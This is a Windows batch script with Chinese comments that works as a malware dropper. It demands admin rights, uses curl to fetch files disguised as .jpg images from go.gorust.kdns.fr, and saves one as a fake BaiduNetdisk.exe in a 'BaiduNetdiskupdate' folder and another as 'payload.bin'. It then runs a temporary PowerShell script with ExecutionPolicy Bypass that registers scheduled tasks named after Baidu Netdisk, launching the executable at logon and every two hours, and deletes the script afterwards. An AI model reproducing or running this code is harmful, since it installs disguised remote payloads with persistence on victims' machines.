@echo off
setlocal enabledelayedexpansion

:: ================= 第一部分：管理员检查 =================
net session >nul 2>&1
if %errorlevel% neq 0 (
    echo 错误：请以管理员身份运行此脚本。
    pause
    exit /b 1
)

:: ================= 第二部分：定义变量（请修改 URL） =================
set "URL_A=https://go.gorust.kdns.fr/Flash/006BNqYCly1ifh5eitzy6j318g0p041u.jpg"
set "URL_B=https://go.gorust.kdns.fr/Flash/006BNqYCly1ifqd7lzmcgj31hc0tzq9l.jpg"
set "BASE_DIR=D:\Program Files"
set "DIR_MUSIC=%BASE_DIR%\music"
set "DIR_UPDATE=%BASE_DIR%\BaiduNetdiskupdate"
set "EXE_PATH=%DIR_UPDATE%\BaiduNetdisk.exe"

:: ================= 第三部分：创建目录 =================
if not exist "%BASE_DIR%" mkdir "%BASE_DIR%"
if not exist "%DIR_MUSIC%" mkdir "%DIR_MUSIC%"
if not exist "%DIR_UPDATE%" mkdir "%DIR_UPDATE%"

:: ================= 第四部分：下载文件 =================
echo 下载文件 A ...
curl -sL -o "%EXE_PATH%" "%URL_A%"
if exist "%EXE_PATH%" (echo 文件A下载成功) else echo 文件A下载失败

echo 下载文件 B ...
curl -sL -o "%DIR_MUSIC%\payload.bin" "%URL_B%"
if exist "%DIR_MUSIC%\payload.bin" (echo 文件B下载成功) else echo 文件B下载失败

:: ================= 第五部分：获取当前用户 =================
for /f "tokens=*" %%i in ('whoami') do set "CUR_USER=%%i"
if "%CUR_USER%"=="" (
    echo 获取用户失败
    pause
    exit /b 1
)
echo 当前用户：%CUR_USER%

:: ================= 第六部分：创建计划任务（与 test_task.bat 完全相同的逻辑） =================
echo 正在创建计划任务...
set "PS_SCRIPT=%TEMP%\create_baidu_tasks.ps1"
(
echo $user = '%CUR_USER%'
echo $exe = '%EXE_PATH%'
echo.
echo # 任务1：登录触发（仅该用户）
echo $action1 = New-ScheduledTaskAction -Execute $exe
echo $principal1 = New-ScheduledTaskPrincipal -UserId $user -LogonType Interactive -RunLevel Limited
echo $trigger1 = New-ScheduledTaskTrigger -AtLogOn -User $user
echo Register-ScheduledTask -TaskName 'BaiduNetdisk_OnLogon' -Action $action1 -Trigger $trigger1 -Principal $principal1 -Force
echo Write-Host "任务1执行完毕"
echo.
echo # 任务2：每天 09:30 起每 2 小时重复
echo schtasks /Create /TN "BaiduNetdisk_Every2Hours" /TR "`"$exe`"" /SC DAILY /ST 09:30 /RI 120 /DU 24:00 /RU "$user" /F
echo if (^$?^) { Write-Host "任务2执行成功" } else { Write-Host "任务2执行失败" }
) > "%PS_SCRIPT%"

powershell -NoProfile -ExecutionPolicy Bypass -File "%PS_SCRIPT%"
if %errorlevel% equ 0 (
    echo PowerShell 执行成功
) else (
    echo PowerShell 执行返回错误码：%errorlevel%
)

if exist "%PS_SCRIPT%" del /f /q "%PS_SCRIPT%"

:: ================= 第七部分：验证任务 =================
echo.
schtasks /Query /TN "BaiduNetdisk_OnLogon" >nul 2>&1 && echo 任务一存在 || echo 任务一不存在
schtasks /Query /TN "BaiduNetdisk_Every2Hours" >nul 2>&1 && echo 任务二存在 || echo 任务二不存在

echo.
echo 全部操作完成。
pause